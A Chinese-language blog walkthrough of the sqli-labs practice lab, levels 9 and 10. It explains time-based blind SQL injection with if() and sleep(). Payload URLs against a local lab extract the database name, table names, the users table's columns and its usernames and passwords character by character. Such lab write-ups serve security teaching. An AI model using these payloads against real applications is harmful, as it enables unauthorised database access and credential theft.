时间盲注详解 Sqli-labs闯关(Less 9—10)

今天来总结下时间盲注的知识。


时间盲注和bool盲注是很像的,区别就是“参照物”不同,基于bool的盲注可以通过页面的一些变化来进行判断结果,但是有时候,执行一些sql语句的测试,页面不会有像布尔盲注的时候直观的变化,这个时候可以在基于布尔的盲注上结合if判断和sleep()函数来得到一个时间上的变换延迟的参照,也就可以让我们进行一些判断。也就是所谓的基于时间的盲注。

直接看题吧
Less-9 基于时间的单引号盲注
在这里插入图片描述
使用if(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。

  1. if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
  2. sleep(n):将程序挂起一段时间 n单位为秒
    根据题目提示,已经知道了为单引号注入。
  • 猜测数据库:
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    说明第一位是 s (ascii 码是 115)
    http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+ 说明第二位是 e (ascii 码是 101) …. 以此类推,我们知道了数据库名字是 security
  • 猜测 security 的数据表:
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
  • 猜测第一个数据表的第一位是 e,…依次类推,得到 emails
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
  • 猜测第二个数据表的第一位是 r,…依次类推,得到 referers … 再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users 猜测 users 表的列:
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
  • 猜测 users 表的第一个列的第一个字符是 i, 以此类推,我们得到列名是 id,username,password
  • 猜测 username 的值: http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
  • 猜测 username 的第一行的第一位 以此类推,我们得到数据库 username,password 的所有内容。
    less10 只是把单引号换成了双引号,其他同理。

以上的过程就是我们利用 sleep()函数注入的整个过程。
手动注入过程很是繁琐,可以用二分法提高效率,但大部分情况下都会选择我们写脚本注入。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏